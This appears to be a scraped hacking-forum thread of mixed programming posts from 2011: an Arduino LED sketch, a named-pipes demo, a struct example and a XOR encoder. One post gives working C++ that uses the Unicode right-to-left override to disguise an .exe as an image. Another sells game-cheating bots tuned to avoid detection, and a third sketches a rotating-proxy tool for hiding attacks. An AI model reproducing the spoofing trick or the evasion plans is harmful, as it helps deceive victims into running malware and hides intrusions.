  if (sensorValue == 0)                             // This next bit it pretty simple, just pretty much involves if statements... well it does... the if's
  {                                                 // read the value from the potentiometer and then respond giving the correct output via the led lights.
   digitalWrite(redPinOne, LOW);
    digitalWrite(redPinTwo, LOW);
    digitalWrite(greenPinOne, LOW);
    digitalWrite(greenPinTwo, LOW); 
  }
  if (sensorValue > 0 && sensorValue <= 250)
  {
    digitalWrite(redPinOne, LOW);
    digitalWrite(redPinTwo, LOW);
    digitalWrite(greenPinOne, HIGH);
    digitalWrite(greenPinTwo, LOW);
  }
  if (sensorValue > 250 && sensorValue <= 500)
  {
   digitalWrite(redPinOne, LOW);
   digitalWrite(redPinTwo, LOW);
   digitalWrite(greenPinOne, HIGH);
   digitalWrite(greenPinTwo, HIGH); 
  }
  if (sensorValue > 500 && sensorValue <= 750)
  {
   digitalWrite(redPinOne, HIGH);
    digitalWrite(redPinTwo, LOW);
    digitalWrite(greenPinOne, HIGH);
    digitalWrite(greenPinTwo, HIGH); 
  }
  if (sensorValue > 750 && sensorValue < 1000)
  {
   digitalWrite(redPinOne, HIGH);
    digitalWrite(redPinTwo, HIGH);
    digitalWrite(greenPinOne, HIGH);
    digitalWrite(greenPinTwo, HIGH); 
  }
}

Also for anyone wondering, the void loop() and void setup() and prereq's for the program to work. If you name them something else of spell it wrong then you won't be able to upload your program onto your arduino board/chip.

The result is (apologies for using the shit camera on my phone):

[align=center][video=youtube]

The noise at 0.11 is my cat that decided to check out what I was doing :\

[C++] "Windows Extension Spoofing"

GT3X — Wed, 27 Jul 2011 18:20:48 -0400

Ive seen alot of "Extension Spoofers" around the interwebz and some of them were sold for a lot of money but tbh they are bullshit and they just use a Unicode called "Right to left override" (google it if u wanna get more infos) . You just need 3 LoC for this lmao


#include <iostream>
#include <Windows.h>

int main()
{
        //wchar_t cuz of unicode
	wchar_t target[] = L\"test.exe\";
	wchar_t output[] = L\"new-\u202E.gpj.exe\";
	
	CopyFileW(target,output,false);
	
	std::cout << \"1337 file spoofing done omfg ^.^\" << std::endl;

	std::cin.get();
	return 0;
}

xor encoder

s1n4 — Mon, 27 Jun 2011 22:11:15 -0400

Hi guys,
A simple xor encoder in C for windows.

/*
___  ______________ 
\  \/  /  _ \_  __ \
 >    <  <_> )  | \/
/__/\_ \____/|__|   
      \/   
*/


#include <conio.h>
#include <stdio.h>
#include <string.h>
#include <windows.h>

void SetColor(const int, const int);

void err(unsigned const int);

void main()
{
	unsigned int c = 0;
	char i, res;
	char key[128], fn[128];

	const char head[] = (
		\"##################################\n\"
		\" #####                      #####\n\"
		\" #####     Xor  encoder     #####\n\"
		\" #####     for encoding     #####\n\"
		\" #####      text files      #####\n\"
		\" #####                      #####\n\"
		\" #####    Writen by s1n4    #####\n\"
		\" #####    June 17 , 2011    #####\n\"
		\" #####       4:10 AM        #####\n\"
		\" #####                      #####\n\"
		\"##################################\n\n\");


	FILE *input, *output;

	SetColor(11, 0);
	printf(head);

	SetColor(7, 0);

	printf(\"Please enter key >> \");
	gets(key);

	printf(\"Please enter filename >> \");
	gets(fn);

	if ((input = fopen(fn, \"rb\")) == NULL)
	{
		err(1);
	}

	i = getc(input);

	if ((output = fopen(fn, \"wb\")) == NULL)
	{
		err(2);
	}

	while (i != EOF)
	{
		res = i ^ key[c];
		putc(res, output);
		i = getc(input);
		if (c == strlen(key)-1)
		{
			c = 0;
			continue;
		}
		c++;
	}

	fclose(output);
	fclose(input);

	SetColor(10, 0);

	printf(key);
	printf(\" xor \");
	printf(fn);

	getch();
	exit(0);
}


void SetColor(const int foreground, const int background) 
{
	int Color = foreground + (background * 16);

	HANDLE hConsole = GetStdHandle(STD_OUTPUT_HANDLE);
	SetConsoleTextAttribute(hConsole, Color);
}


void err(unsigned const int code)
{
	SetColor(12, 0);
	if (code == 1)
		printf(\"Cannot open the file\");

	if (code == 2)
		printf(\"Cannot replace the file\");

	getch();
	exit(1);
}

If you want to use in other OS you should remove the following code:

#include <windows.h>
void SetColor(const int, const int);

SetColor(11, 0);
SetColor(7, 0);
SetColor(10, 0);

void SetColor(const int foreground, const int background) 
{
	int Color = foreground + (background * 16);

	HANDLE hConsole = GetStdHandle(STD_OUTPUT_HANDLE);
	SetConsoleTextAttribute(hConsole, Color);
}

SetColor(12, 0);

King.com Cheat Bots and Method - Extra Coder needed

botmakers — Thu, 24 Jun 2010 18:48:30 -0400

Hi Guys I'm not sure where I should have put this or if there is even a particular section so if its not in the right spot I ask that a mod move it to its proper locations. I make King.com bots as my side hobby. I am looking for another coder who is efficient at C# to aid in me in making the bots also I already have the structure but due to time constraints and testing I would like to add another person to the team. Payment can all be discussed if the person does qualify after a short C# test. Anyhow I also sell the king.com bots I make they play for you and do not lose (This is all shown to you beforehand through teamviewer so you can prove that it does as I say). I also show all my payment proof also through teamviewer in realtime so it can't be doctored or changed my bots run for 3 hrs and bring in $40-$50 a day. It is currently capped at 55 a day max to avoid looking suspect and I have had no issues at the level so if you are interested this is the cap you would have to stick with. Anyhow my main factor in this is to find another coder so if you do know C# please don't hesitate to contact me through msn botmakers@hotmail.com

Unix pipes

GT3X — Tue, 28 Jun 2011 16:15:28 -0400

write.c


//Demonstration of named pipes 
//Write opens a pipe then it writes into the pipe

#include <stdio.h>
#include <stdlib.h>
//Pipe call
#include <fcntl.h>
//mknod call
#include <sys/types.h>
#include <sys/stat.h>

#define BUFLEN 100

//Prototypes

int main (void);
void input(char *);

//Var's

//Filedescritpor 
int fdes;
int a,i;
char *s, buffer[BUFLEN];

int main(void)
{
/*
Creates a  FIFO-File with the rights read/write 
for the user and read for others. 
*/
mknod(\"pipe1\",S_IFIFO | 0666,0);

/*
Opens a pipe. This process can only write into a pipe. If its opend successfull open() gives the filedescriptor back otherwise -1. 
*/
if((fdes=open(\"pipe1\",O_WRONLY))==-1){
puts(\"Error couldn't open pipe\");
exit(-1);
}

//Writes the buffer into the FIFO file
input(buffer);
if((i=write(fdes,buffer,BUFLEN)) !=BUFLEN) {
printf(\"Error couldn't write\");
exit(-1);
}

//Now we have to close the FIFO File
close(fdes);
exit(0);
}

//Get input?:0
void input(char *buffer)
{
printf(\"Enter a String(max 100 Chars):\");
buffer = gets(buffer);
}

http://nopaste.me/paste/17116484874e09e1adbeed2


//open and reads a pipe 
#include <stdio.h>
#include <stdlib.h>
//Pipe call
#include <fcntl.h>
//mknod call
#include <sys/types.h>
#include <sys/stat.h>

#define BUFLEN 100

//Protoypes
int main(void);

//Vars
int fdes;
char buffer[BUFLEN];
char c;

int main(void)
{
	//A pipe gets opend in \"read only\" mode. 
	if((fdes=open(\"pipe1\",O_RDONLY))==(-1))
	{
	printf(\"Error couldn't open pipe\");
	exit(-1);
	}
	read(fdes,buffer,BUFLEN);
	puts(buffer);
	close(fdes);
	exit(0);
}

http://nopaste.me/paste/19938196674e09e1e237ba9

Simple Structure/OOP Example

Sh3llc0d3 — Wed, 22 Jun 2011 00:48:43 -0400

Well I'm back toying with C++ and OOP at the moment so I thought I'd give a little example of some OOP and the use of structures. This program takes user input and attributes it to an object (you) :)

Code:

#include <iostream>

// Definition of SELF using a struct
struct SELF
{
    std::string name;       // name attribute of SELF
    char sex[10];           // sex/gender attribute of SELF
    double height;          // height of SELF
};

int main(void)
{
    using std::cin;         // using std namespace for
    using std::cout;        // cin, cout
    using std::endl;        // and endline

    SELF you;               // Define the new object 'you' based on the SELF structure

    //title
    cout << \"Sh3llc0d3's OOP/Structures Simple Example\"
    // Enter first name
    cout << \"Enter your name: \" << endl;
    // your name will now be defined as the 'name' of 'you'
    std::getline(cin,you.name);
    // Enter your gender
    cout << \"Enter your gender [male or female]: \" << endl;
    // your gender will now be defined as the 'sex' of 'you'
    cin >> you.sex;
    // Enter your height
    cout << \"Enter your height in metres: \" << endl;
    // your height will now be defined as the 'height' of 'you'
    cin >> you.height;

    // print the values
    cout << \"Your name is: \" << you.name << endl
         << \"Your gender is: \" << you.sex << endl
         << \"Your height is: \" << you.height << endl;

    return 0;
}

Output:

Sh3llc0d3's OOP/Structures Simple Example

Enter your name:
Sh3llc0d3 - iExploit.org
Enter your gender [male or female]:
male
Enter your height in metres:
1.80

Your name is: Sh3llc0d3 - iExploit.org
Your gender is: male
Your height is: 1.8

Process returned 0 (0x0) execution time : 28.834 s
Press any key to continue.

Had an idea

m0rph — Sun, 19 Jun 2011 11:13:09 -0400

Largely based off of the movie Untraceable.

Proxy switching program (possible firefox add-on for web based attacks).

Basically the idea is to have it change to a new proxy every 3 to 4 minutes.

The only thing is you won't be able to effectively use reverse shells, however bind shells (should you be lucky enough to spawn one) should be ok to use.

Here's the general flow I have for how I think it would work:
[list]
[*]Function that defines how it will connect and who it will connect to[/*:m]
[*]There also needs to be an array to store the addresses of the proxies being used[/*:m]
[*]Next the function will randomly select an address from the array and connect to it[/*:m]
[*]Some kind of timing needs to be kept in order for it move onto the next proxy (maybe a for loop)[/*:m]
[*]Packet time to live needs to be set anywhere from 15 to 25 to make sure that the session is always updated with the newest address
at the same time though, if there's more than that amount of hops on the route to the target the packets will be dropped. Keep low TTL in consideration.[/*:m]
[*]Once the last connection dies out, the program either then has to reconnect to the first address in the array or learn a new one[/*:m]
[*]If a connection to a proxy fails it will have to go to the next proxy in the list, same as previous bullet if it's the last proxy in the array[/*:m][/list:u]

The only area that I don't have an idea on how to solve would be grabbing a list of new proxies then adding them to the array (not in the context of having to recompile it or anything like that).

I'd like to have this program set up as a cli, with the following information output in a single line:

[source address][destination address][destination port][remaining time]

Also with screen updates probably every 20 or 30 seconds.

Oh btw when I say proxy, I don't mean web-based proxies....I mean tunnel proxies (i.e. SOCKS)

Thoughts? Are there other programs that act like this? I've already checked the docs on proxychains and it's not the same thing.